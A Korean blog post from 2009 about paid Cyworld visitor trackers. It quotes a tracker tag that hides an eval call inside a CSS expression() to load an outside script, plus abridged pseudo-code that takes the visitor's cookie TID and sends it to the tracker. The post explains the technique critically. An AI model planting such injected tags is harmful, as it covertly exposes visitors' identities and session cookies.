태그 : 방문자추적기
싸이월드와는 적잖게 다른 경향이지만 일본의 SNS인 mixi는 대놓고 足あと/발자취 라는 페이지가 있습니다.
발자국. 그러니까 최근에 내 mixi에 찾아왔던 넘들의 기록을 뿌려주는거죠.

대략 저런 형태입니다.
그렇게 짝사랑하는 사람의 프로필/일기/사진첩을 봤다는 흔적을 남기지 않고 몰래 보고 싶어도 그렇게는 할 수 없고 상대방의 페이지를 방문한 순간 어쩔 수 없이 자신의 발도장을 찍게 되는 구조인거죠. (다른 계정을 만든다는지 하는 식의 우회에 대해 이야기하고 싶으신 분도 물론 계시겠지만, 어쨌거나 '어떤 종류의 사람이 언제 방문했다' 하는건 분명히 인지할 수 있도록 마련해 둔 것에 포인트를 두겠습니다)
싸이월드에서는 즐거운 미니 홈피 생활을 방해하는 악의 원흉으로 취급되고 있는, 방문자 추적기를 시스템적으로 대놓고 제공하고 있는 걸 볼 수 있어요.
어쨌든 덕분에 몰래 상대방의 페이지에 들어가서 상대방의 최근 뻘짓을 구경하는 재미를 어느정도 사전봉쇄해 주는 역할을 해주고 있습니다.
반대로 싸이월드의 경우에는 누가 언제 방문했다와 같은 종류의 통계는 제공하고 있지 않습니다.
정확히 어떤 종류의 이유 때문인지 모르겠지만, 그런 기록을 제공할 때 발생할 수 있는 미니홈피 방문자의 프라이버시라든가, 미니홈피니까 가능한 관음증 충족(...)이라든가 뭐 그런 이유가 아닐까라고 일단은 생각해둘까요?
그런 종류의 이야기를 하려는 것도 아니고요.
하지만 자신의 작은 집을 꾸미는 아가씨 입장에서는 도대체 어떤 넘이 내 미니홈피를 들락날락거리며 투데이 수를 올리고 있는 것일까 하는 것 또한 너무너무 궁금한게 사실입니다.
자신은 전혀 모르는 넘들이 당신 딸의 집에 찾아와서 사진첩 일기장 방명록 뒤적이면서 침 질질 흘리며 하악거리는걸 당신이라면 용서할 수 있을까요? -_- 당신 딸 집에 찾아오는 것도 용서가 안되는데 당신 자신의 집에 찾아오는 것은 더더욱 용서될리가 없잖아요.
그래서 제3자가 제작해 유료로 서비스하는 방문자 추적 프로그램(일종의 카운터라고 할 수도 있을 것 같네요)이 많은 각광을 받고 있습니다.
계속 예전부터 신경쓰였던 남자애가 있었는데요.
혹시나 싶어서 방문자 추적기를 깔게 되었는데.
아니나 다를까 매일같이 제 싸이를 들락거리는걸 확인했답니다.
역시 저에게 마음이 있다는 증거겠죠? ^^)- 17세소녀 N모양의 사용후기
그렇게 싸이월드의 방문자 추적 프로그램은,
어장관리를 하시는 분들에게는 애완물고기 수를 통계내거나, 혹은 내 남친이 바람피고 있지는 않은지, 아니면 헤어졌지만 아직도 그 애가 날 그리워하는지 확인하기 위한 덫 식으로, 본래의 목적이 무엇이었든지 간에-_-남들과의 심리전에 매우 도움이 될듯한, 그런 유용한-_- 툴로서 자리매김하고 있습니다.
깊이 생각해보면 정말 무섭죠. 자주 남의 미니홈피 들락거리면 어느날 갑자기 자길 마음에 두고 있는 줄 알고 오해하는 일이 생길 수도 있다구요.
그러니까 찼으면 절대 그 넘 미니홈피 들어가지 마!! 어장관리 뻔한 것 같으면 들어가서 관심을 주지 말란 말야! 떡밥에 물리지 좀 말라고!!
사실 제가 이 글을 쓰게 된 것 역시 무심코 제 지인 미니홈피를 찾아다녀보던 중에 이 방문자 추적기(-_-)의 지뢰를 건드렸기 때문이었지요.
어쨌든 기왕 지뢰를 건드리게 된 김에 어떤 식으로 되어 있는지나 구경해보려고 합니다.
<P><div STYLE='background-color:expression((new function(){if(fnGoNavHompy!="1"){av="ev"+"al"; window[av]("document.getElementsByTagName('script')")[0].src="URL"; fnGoNavHompy="1";}}));'></P>
사진첩에 매겨져있던 태그를 복붙해와 보았습니다.
아무튼 이런 식으로 추적기가 호스팅되고 있는 사이트의 자바스크립트를 호출하도록 하고 있네요.
이제 그럼 이 자바스크립트는 어떤 내용이 들어있나...
if(document.cookie) {
싸이월드쿠키에서유저TID추출해서추적기URL로넘겨주긔
}
'나도 만들어보자, 싸이월드 방문자 추적기!' 이런 글이 아니니까 확 내용을 줄였습니다만. (-.-)
대략 저런 내용....이라는 거죠. 컴퓨터에 저장되어 있는 싸이월드 쿠키 데이터를 가공해서 추적기에 넘겨주는 겁니다.
사실 브라우저의 부실한 쿠키관련 보안 처리(다른 주소의 자바스크립트를 불러와서 그 주소의 자바스크립트가 이 주소의 이런저런 내용을 아무렇지 않게 읽어올 수 있도록 한 부분)가 문제의 원흉인 것 같기는 하네요.
그렇다면 쿠키 보안 설정을 좀 높게 잡으면 싸이월드의 유저 쿠키를 가지고 와서 방문한 유저의 TID를 빼낼 수 있을 리가 없겠죠? 하지만 다들 아시다시피 쿠키를 허용하지 않거나 쿠키 보안 설정을 너무 높게 잡아두면 싸이월드 뿐만 아니라 다른 웹서비스를 이용하는데도 굉장히 불편해집니다. 더군다나 한국에서는요.
그렇다면 '얘 미니홈피엔 추적기가 달려 있는거 같지만 착실히 로그아웃하고서 들어가면 추적 안되겠지?'라고 생각하고 계신 분 있으세요? 저도 그렇게 생각했던 시절이 있었어요.
하지만 천만에요. 로그아웃했던 바로 그 당신의 싸이월드 홈피 정보는 이미 고스란히 추적기에게 넘어갔답니다☆

# by | 2009/01/29 19:04 | 트랙백 | 덧글(15)
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